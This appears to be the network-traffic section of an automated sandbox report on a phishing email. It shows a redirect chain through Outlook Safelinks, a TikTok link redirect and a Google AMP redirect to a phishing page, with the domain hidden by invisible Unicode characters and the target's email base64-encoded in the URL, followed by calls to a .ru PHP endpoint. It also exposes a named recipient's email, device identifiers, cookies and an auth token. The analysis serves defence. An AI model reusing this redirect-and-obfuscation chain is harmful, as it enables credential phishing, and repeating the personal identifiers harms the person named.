Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138

Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0 HTTP/1.1Host: nam04.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zm3gm9bC7FsE3Ep&MD=r81BdaDm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /url?cad=z64Ndl7J844jI5EH33et&cd=9X3EYbyCMUoB46Jqpszn&esrc=EgJeLX8CAl11DNSW7pgH&q=IrfT8NMLx6QPaJgv6Z3g&rct=qsUbQmXhZ93d4gNXIWaR&sa=t&safe=active&source=&uact=+&url=amp%2F%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2Fy8E4XKJctWEENyvnBLR6%2FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D&ved=36LRX1krI3rPMEZVSMU2 HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=LUtCOXoo8Z5gPTYmt3H8LqWZTAG6hKQWe-cdREwgZ1U5skKMsQ1ebJKw-WObc8ztdOwhrvjO8jzr2h2SrcScnkV33BZhN4EFb9Qp4CfMifOTNldFYQ3YJcOZGlavXchLr7TNWhZ5RWxrbHt-PIEIgoxy1iomxi4tn-5Cszy6g2rWSvByILnv121IggBwqj9u
Source: global traffic	HTTP traffic detected: GET /auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== HTTP/1.1Host: bayraktarplaza.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html HTTP/1.1Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://bayraktarplaza.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bayraktarplaza.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /, HTTP/1.1Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: sparksavvy.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET ///7140.php HTTP/1.1Host: sparksavvy.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET ///7140.php HTTP/1.1Host: sparksavvy.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zm3gm9bC7FsE3Ep&MD=r81BdaDm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAbQojQilLHmW0JNjiZck74cOv7Lz0PQvunyWdgssJLzjuafsIRbfv/fcfEPG23/0XQPVZ4zV8HaOzFAtLKjjk3PLo8dcBUN9yjW1pQDDJNUgKXY5rJZ9%2BZELhDxed15YkC%2BxujwWWT2EYT3H1yTI1uZRwXb%2BSBXCRQMnbK52n0zPLS/tw/57UoBNshMv1VtaQri/P%2Bb3nYk6y/tpcULjy3vLo5X4fgNkhdk/98SpWiylY9PC99pFq/C/EZBkHwbfT3sogZjUKjgxdTyqH8x0eZvoFmTO4lkc/MNUO0zoiDMJNf2HPoTNw2Qj21ELz1iks4YjK/xciQMeo%2BOHICzCbxoQZgAAEHpoJTZSgBJjJkitOD3zOtiwAV7Ry38zpqf7MlGyjp5sQsntr7bARdiR%2Bl2kXMlKqu7W7v3fS8x4XHq7lsUpH7bACESF8gfB1ALfQLTUtktUtVYsPqv38KHqQVl5zo4I5bVo/OJhcIVH2QXCSO/8OIKpRKG5KQjGeX2iMI/p4QtPulCQQmj76GoDCnZFNGw8zinUUXukZFT2KdExti8XskVpu%2BgCoqH1XC0TATN3AC%2B6xR0iMYA72tvKb5MfpdnKhETcD3wLED7IPsZSM54YwUQUzATQICLuGvBWOQTjnJgoSVfDCbbZd02ABFb56c78/1wZ8vgHBoZxw424g46LDZ1SxdhvbSzO6/XqaZiMDHmYsX9NDROOnJEP3BATrTvQjj3lU16oJLnkUoGUUC4BgALyu0mh7nlJjrk/XJiwIvvdwN7i6DitNkfc8iGQA%2BU7tInpjvxvrvnTrlwrpH0hPXLp%2BPmhSyZTUkA0qd50DV0MDqM7/WztdkoD6wRRaw/QOu8lDLG1SxO39QCS%2BzylmJQQpW1hbi8CDe/tSlz27B/YpOc51xZD7owCk9cfWwjDDP/nGPuCaENXWgFHVXII605fPtcB%26p%3DX-Agent-DeviceId: 01000A41090080B6X-BM-CBT: 1728576056User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 5681479170724894829C6F9FE9D561EAX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
Source: global traffic	HTTP traffic detected: GET ///7140.php HTTP/1.1Host: sparksavvy.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: HYPERLINK "https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.facebook.com%2FRappKrock%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826775651%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=SF4ZC7NQKRKRBoD99kGo2H72i2vScVL9aWfWUPGc4aY%3D&reserved=0" equals www.facebook.com (Facebook)
Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: HYPERLINK "https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2F1291506%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826741606%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=2RKoFWebnIfrPkOEPvzlq5pwBbaQPQ1Rs7YWi02tQpo%3D&reserved=0" equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: nam04.safelinks.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: www.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: bayraktarplaza.com
Source: global traffic	DNS traffic detected: DNS query: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: sparksavvy.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Thu, 10 Oct 2024 16:20:08 GMTalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 16:00:26 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8d07d2c5bf504356-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 16:00:31 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8d07d2e1dd2e0c8e-EWR

Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://aka.ms/LearnAboutSenderIdentification
Source: chromecache_81.7.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_80.7.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_81.7.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css
Source: chromecache_80.7.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js
Source: chromecache_88.7.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.jcoggincpa.com%2F&data=05%7C02%
Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.rappandkrock.com%2F&data=05%7C0
Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.instagram.com%2Frappandkrockla
